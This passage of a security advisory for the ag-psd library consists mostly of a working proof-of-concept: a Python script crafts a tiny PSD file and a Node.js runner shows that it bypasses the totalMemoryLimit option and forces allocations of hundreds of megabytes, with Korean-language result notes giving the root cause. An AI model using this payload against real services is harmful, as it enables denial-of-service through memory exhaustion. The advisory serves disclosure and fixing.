Advisory

GHSA-6w3r-6hpr-hp6p

Details, part 2 of 2. The advisory

Details

i32be(width), # right
u16be(0), # channel count = 0 (no raw channel data needed
# to trigger allocation — createImageDataBitDepth
# is called based on dimensions alone)
# Blending range: signature + mode
b"8BIM",
b"norm",
# Opacity, clipping, flags, filler
bytes([255, 0, 0, 0]),
# Extra data length = 0
u32be(0),
])

# Layer info section: layer count (signed i16) + layer record
layer_info_inner = i16be(1) + layer_record
layer_info = length_prefixed(layer_info_inner, 2)

# Sections: ColorModeData, ImageResources, LayerAndMaskInfo, ImageData
color_mode_data = length_prefixed(b"")
image_resources = length_prefixed(b"")
layer_mask_info = length_prefixed(layer_info)
image_data = u16be(0) + b"\x00" * 6 # compression=raw + minimal data

# PSD file header: magic, version=1, reserved, channels, height, width,
# bitsPerChannel=16, colorMode=3 (RGB)
header = b"8BPS" + u16be(1) + b"\x00" * 6 + u16be(3) + u32be(1) + u32be(1) + u16be(16) + u16be(3)

psd = header + color_mode_data + image_resources + layer_mask_info + image_data
return psd

---------------------------------------------------------------------------
Node.js script that calls readPsd and reports memory usage
---------------------------------------------------------------------------

NODE_SCRIPT = r"""
'use strict';
const APP_DIR = process.env.APP_DIR || '/app';
try { require(APP_DIR + '/dist/initializeCanvas.js'); } catch(e) {}

const { readPsd } = require(APP_DIR + '/dist/index.js');
const fs = require('fs');

// Read PSD bytes from stdin
const psd = fs.readFileSync('/tmp/poc.psd');

const before = process.memoryUsage();

let result;
try {
result = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 });
} catch (err) {
process.stderr.write('ERROR: ' + err.message + '\n');
process.exit(2);
}

const after = process.memoryUsage();

const layer = result && result.children && result.children[0];
const layerBytes = (layer && layer.imageData && layer.imageData.data)
? layer.imageData.data.byteLength
: 0;

const delta = after.arrayBuffers - before.arrayBuffers;

console.log('PSD_BYTES=' + psd.length);
console.log('TOTAL_MEMORY_LIMIT_OPTION=1024');
console.log('LAYER_IMAGE_BYTES=' + layerBytes);
console.log('ARRAYBUFFER_DELTA=' + delta);
console.log('RSS_BEFORE_KB=' + Math.round(before.rss / 1024));
console.log('RSS_AFTER_KB=' + Math.round(after.rss / 1024));

// Verdict
const exploited = layerBytes >= 100_000_000 || delta >= 100_000_000;
console.log('VULN_001_EXPLOITED=' + exploited);
if (!exploited) {
process.stderr.write('FAIL: memory limit was NOT bypassed (layerBytes=' + layerBytes + ', delta=' + delta + ')\n');
process.exit(1);
}
console.log('PASS: totalMemoryLimit=1024 was bypassed; allocated ' + layerBytes + ' bytes in a single layer image buffer');
process.exit(0);
"""

def main():
print("[*] VULN-001 PoC — ag-psd CWE-770 totalMemoryLimit bypass")
print("[*] Building crafted PSD (5000x5000 16-bit layer, no raw channel data)...")

psd_bytes = build_psd(5000, 5000)
poc_psd_path = "/tmp/poc.psd"
node_script_path = "/tmp/poc_runner.js"

with open(poc_psd_path, "wb") as f:
f.write(psd_bytes)
print(f"[*] PSD written to {poc_psd_path} ({len(psd_bytes)} bytes)")

with open(node_script_path, "w") as f:
f.write(NODE_SCRIPT)
print(f"[*] Node.js runner written to {node_script_path}")

# Run from /app where the ag-psd repo was built
app_dir = os.environ.get("APP_DIR", "/app")
print(f"[*] Running Node.js PoC from {app_dir} ...")

try:
proc = subprocess.run(
["node", node_script_path],
capture_output=True,
text=True,
timeout=60,
cwd=app_dir,
)
except subprocess.TimeoutExpired:
print("[-] Node.js process timed out (possible OOM or hang)")
sys.exit(1)

stdout = proc.stdout.strip()
stderr = proc.stderr.strip()

print("\n--- Node.js stdout ---")
print(stdout or "(empty)")
if stderr:
print("--- Node.js stderr ---")
print(stderr)
print("--- Exit code:", proc.returncode, "---\n")

# Parse key-value output lines
kv = {}
for line in stdout.splitlines():
if "=" in line:
k, _, v = line.partition("=")
kv[k.strip()] = v.strip()

exploited = kv.get("VULN_001_EXPLOITED", "false").lower() == "true"
layer_bytes = int(kv.get("LAYER_IMAGE_BYTES", "0"))
psd_bytes_reported = int(kv.get("PSD_BYTES", "0"))
memory_limit = int(kv.get("TOTAL_MEMORY_LIMIT_OPTION", "0"))
delta = int(kv.get("ARRAYBUFFER_DELTA", "0"))

print("=== VULNERABILITY ASSESSMENT ===")
print(f" PSD input size : {psd_bytes_reported} bytes")
print(f" totalMemoryLimit option: {memory_limit} bytes (1 KB)")
print(f" Layer image buffer : {layer_bytes:,} bytes ({layer_bytes // 1024 // 1024} MB)")
print(f" ArrayBuffer delta : {delta:,} bytes")
print(f" Limit bypassed : {'YES — VULNERABLE' if exploited else 'NO — limit was enforced'}")

if not exploited:
print("\n[FAIL] Exploitation did not succeed.")
result = {
"passed": False,
"verdict": "FAIL",
"reason": "PoC 실행에서 메모리 제한 우회가 관측되지 않음. totalMemoryLimit이 예상과 달리 적용된 것으로 보임.",
"build_command": "docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .",
"run_command": "docker run --rm ag-psd-vuln-001",
"poc_command": "python3 poc.py",
"evidence": stdout + ("\n" + stderr if stderr else ""),
"artifacts": ["Dockerfile", "poc.py"],
}
else:
print("\n[PASS] VULN-001 confirmed: totalMemoryLimit=1024 was bypassed.")
print(f" Allocated {layer_bytes // 1_000_000} MB from a {psd_bytes_reported}-byte PSD.")
result = {
"passed": True,
"verdict": "PASS",
"reason": (
f"totalMemoryLimit=1024(1KB) 옵션이 설정되었음에도 {layer_bytes:,}바이트({layer_bytes // 1_000_000}MB)의 레이어 이미지 버퍼가 할당됨. "
f"decodeLayerImageData(layer, reader)에서 reader.totalMemoryLimit이 options.memoryLimit으로 전달되지 않아 "
f"createImageDataBitDepth 내부의 사이즈 검사가 완전히 우회되는 것이 컨테이너 실행에서 관측적으로 확인됨."
),
"build_command": "docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .",
"run_command": "docker run --rm ag-psd-vuln-001",
"poc_command": "python3 poc.py",
"evidence": stdout,
"artifacts": ["Dockerfile", "poc.py"],
}

result_path = os.path.join(
os.environ.get("RESULT_DIR", "/tmp"), "phase2_result.json"
)
with open(result_path, "w", encoding="utf-8") as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[*] Result written to {result_path}")

sys.exit(0 if exploited else 1)

if __name__ == "__main__":
main()

Sources & licences